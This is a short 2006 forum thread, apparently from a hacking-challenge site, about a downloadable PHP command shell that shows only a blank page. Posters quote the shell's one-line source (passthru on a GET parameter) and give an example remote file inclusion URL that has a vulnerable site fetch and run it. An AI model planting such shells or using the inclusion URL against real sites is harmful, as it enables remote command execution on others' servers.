Author | Post | |||
Blacklotis |
ummm, Is it just me or does it not work? I get nothing but a blank screen. |
|||
25.03.2006 03:44:20 |
|
|||
quangntenemy |
Same here, I think the code doesn't get parsed as php. Here's what in the source: <?php passthru($_GET['cmd']); ?> |
|||
25.03.2006 04:14:13 |
|
|||
sniperkid |
maybe we have to add our own in the url bar like cmd.php?cmd=something |
|||
25.03.2006 09:14:10 |
|
|||
logos |
I think it won't work on this site, but could be used in the include bug on other sites (allow_url_fopen=on). Example: http://somesite.com/bug.php?file=http://bright-shadows.net/download/scripts/cmd.php&cmd=id;uname -a |
|||
25.03.2006 09:28:20 |
|
|||
theblacksheep |
You are right logos! Why should I give you a php shell at bright-shadows.net? It is supposed to be used for include/require remote inclusing exploiting. tbs |
|||
25.03.2006 09:31:26 |
|
|||
logos |
Yeah, you could have just named it cmd.txt instead of making us wonder. |
|||
25.03.2006 09:33:11 |
|
|||
sniperkid |
i thought it was a bit suicidal making it work for tbs nice one |
|||
25.03.2006 23:54:26 |
|